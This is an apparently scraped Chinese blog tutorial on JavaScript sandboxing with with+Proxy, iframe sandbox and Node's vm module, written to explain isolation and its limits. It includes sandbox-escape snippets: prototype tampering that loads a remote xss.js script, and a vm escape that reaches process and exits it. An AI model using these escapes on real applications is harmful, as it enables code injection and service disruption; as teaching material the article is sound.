说说JS中的沙箱

其实在前端编码中,或多或少都会接触到沙箱,可能天真善良的你没有留意到,又可能,你还并不知道它的真正用途,学会使用沙箱,能够避免潜在的代码注入以及未知的安全问题。

前言

沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其余程序形成影响,经过建立相似沙盒的独立做业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。javascript

举个简单的栗子,其实咱们的浏览器,Chrome 中的每个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须经过 IPC 通道才能与浏览器内核进程通讯,通讯过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在必定的环境中,从而限制这些代码访问隔离区以外的资源。前端

JS中沙箱的使用场景

前端JS中也会有应用到沙箱的时候,毕竟有时候你要获取到的是第三方的JS文件或数据?而这数据又是不必定可信的时候,建立沙箱,作好保险工做尤其重要。vue

  • 一、jsonp:解析服务器所返回的jsonp请求时,若是不信任jsonp中的数据,能够经过建立沙箱的方式来解析获取数据;(TSW中处理jsonp请求时,建立沙箱来处理和解析数据);
  • 二、执行第三方js:当你又必要执行第三方js的时候,而这份js文件又不必定可信的时候;
  • 三、在线代码编辑器:相信你们都有使用过一些在线代码编辑器,而这些代码的执行,基本都会放置在沙箱中,放置对页面自己形成影响;(例如:https://codesandbox.io/s/new
  • 四、vue的服务端渲染:vue的服务端渲染实现中,经过建立沙箱执行前端的bundle文件;在调用createBundleRenderer方法时候,容许配置runInNewContext为true或false的形式,判断是否传入一个新建立的sandbox对象以供vm使用;
  • 五、vue模板中表达式计算:vue模板中表达式的计算被放在沙盒中,只能访问全局变量的一个白名单,如 Math 和 Date 。你不可以在模板表达式中试图访问用户定义的全局变量。

总而言之:当你要解析或执行不可信的JS的时候,当你要隔离被执行代码的执行环境的时候,当你要对执行代码中可访问对象进行限制的时候,沙箱就派上用场了。java

如何实现/使用沙箱

一、new Function + with

  • 一、首先从最简陋的方法提及,假如你想要经过eval和function直接执行一段代码,这是不现实的,由于代码内部能够沿着做用域链往上找,篡改全局变量,这是咱们不但愿的,因此你须要让沙箱内的变量访问都在你的监控范围内;不过,你可使用with API,在with的块级做用域下,变量访问会优先查找你传入的参数对象,以后再往上找,因此至关于你变相监控到了代码中的“变量访问”:
function compileCode (src) {  
  src = 'with (exposeObj) {' + src + '}'
  return new Function('exposeObj', src) 
}

接下里你要作的是,就是暴露能够被访问的变量exposeObj,以及阻断沙箱内的对外访问。经过es6提供的proxy特性,能够获取到对对象上的全部改写:node

function compileCode (src) {  
  src = `with (exposeObj) { ${src} }`
  return new Function('exposeObj', src) 
}

function proxyObj(originObj){
    let exposeObj = new Proxy(originObj,{
        has:(target,key)=>{
            if(["console","Math","Date"].indexOf(key)>=0){
                return target[key]
            }
            if(!target.hasOwnProperty(key)){
                throw new Error(`Illegal operation for key ${key}`)
            }
            return target[key]
        },
    })
    return exposeObj
}

function createSandbox(src,obj){
 let proxy = proxyObj(obj)
 compileCode(src).call(proxy,proxy) //绑定this 防止this访问window
}

经过设置has函数,能够监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其他不存在的属性,都会直接抛出error。其实还存在get、set函数,可是若是get和set函数只能拦截到当前对象属性的操做,对外部变量属性的读写操做没法监听到,因此只能使用has函数了。接下来咱们测试一下:es6

const testObj = {
    value:1,
    a:{
        b:{c:1}
    }
}
createSandbox("value='haha';console.log(a)",testObj)

 看起来一切彷佛没有什么问题,可是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是没法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只须要经过a.b.__proto__就能够访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。web

a.b.__proto__.toString = ()=>{
    var script = document.createElement("script");
    script.src = "http://.../xss.js"
    script.type = "text/javascript";
    document.body.appendChild(script)
}

例如上面所展现的代码,经过访问原型链的方式,实现了沙箱逃逸,而且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就能够实现xss攻击,注入第三方代码,为何代码里能够访问document呢?由于这自己是一个函数的赋值操做,并无执行,因此也不存在被has函数拦截了。而当你调用toString的时候,已是在外部的代码调用了,has函数更加无从知晓。ajax

你可能会想,若是我切断原型链的访问,是否就杜绝了呢?的确,你能够经过Object.create(null)的方式,传入一个不含有原型链的对象,而且让暴露的对象只有一层,不传入嵌套的对象,可是,即便是基本类型值,数字或字符串,一样也能够经过__proto__查找到原型链,并且,即便不传入对象,你还能够经过下面这种方式绕过:算法

({}).__proto__.toString= ()=>{console.log(111)};

可见,new Function + with的这种沙箱方式,防君子不防小人,固然,你也能够经过对传入的code代码作代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的作法。json

二、借助iframe实现沙箱

前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱,可是在前端最多见的方法,仍是利用iframe来构造一个沙箱,such as 在线代码编辑器中:https://codesandbox.io/s/news

这种方式更为方便、简单、安全,也是目前比较通用的前端实现沙箱的方案,假如你要执行的代码不是本身写的代码,不是可信的数据源,那么务必要使用iframe沙箱。sandbox是h5的提出的一个新属性, 启用方式就是在iframe标签中使用sandbox属性:

<iframe sandbox src="..."></iframe>

可是这也会带来一些限制:

  1. script脚本不能执行
  2. 不能发送ajax请求
  3. 不能使用本地存储,即localStorage,cookie等
  4. 不能建立新的弹窗和window
  5. 不能发送表单
  6. 不能加载额外插件好比flash等

不过别方,你能够对这个iframe标签进行一些配置:

clipboard.png

接下里你只须要结合postMessage API,将你须要执行的代码,和须要暴露的数据传递过去,而后和你的iframe页面通讯就好了。

1)不过你须要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,由于你须要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,至关于就拿到了父页面的控制权了,这个时候可大事不妙。

2)当你使用postMessageAPI的时候,因为sandbox的origin默认为null,须要设置allow-same-origin容许两个页面进行通讯,意味着子页面内能够发起请求,这时候你须要防范好CSRF,容许了同域请求,不过好在,并无携带上cookie。

3)当你调用postMessageAPI传递数据给子页面的时候,传输的数据对象自己已经经过结构化克隆算法复制,若是你还不了解结构化克隆算法能够查看这个。

简单的说,经过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不一样的内存空间,二者互不影响,因此你不须要担忧出现第一种沙箱作法中出现的问题。

三、nodejs中的沙箱

nodejs中使用沙箱很简单,只须要利用原生的vm模块,即可以快速建立沙箱,同时指定上下文。

const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1;   y is not defined.

vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较经常使用的是runInNewContext和runInContext,能够传入参数指定好上下文对象。

可是vm是绝对安全的吗?不必定。

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")

 经过上面这段代码,咱们能够经过vm,中止掉主进程nodejs,致使程序不能继续往下执行,这是咱们不但愿的,解决方案是绑定好context上下文对象,同时,为了不经过原型链逃逸(nodejs中的对象并无像浏览器端同样进行结构化复制,致使原型链依然保留),因此咱们须要切断原型链,同时对于传入的暴露对象,只提供基本类型值。

let ctx = Object.create(null);
ctx.a = 1; // ctx上不能包含引用类型的属性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

 让咱们来看一下TSW框架中是怎么使用的:

const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null));        // 沙堆
...
if (opt.jsonpCallback) {
    code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
    obj = new SbFunction(code)();
} 
...

经过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,以后再外部使用的时候,只须要调用返回的这个函数,和普通的new Function同样调用便可。

即便这样,咱们也不能保证这是绝对的安全,毕竟可能还有潜在的沙箱漏洞呢?

总结

即便咱们知道了如何在开发过程当中使用沙箱来让咱们的执行环境不受影响,可是沙箱也不必定是绝对安全的,毕竟每一年都有那么多黑客绞尽脑汁钻研出如何逃出浏览器沙箱和nodejs沙箱,因此最安全的作法,是不执行不可信任的第三方JS,不要信任任何用户数据源,那你的代码就永远安全,不会被注入。

出于好奇整理了这篇文章,若有错误还望斧正。

clipboard.png

相关文章
相关标签/搜索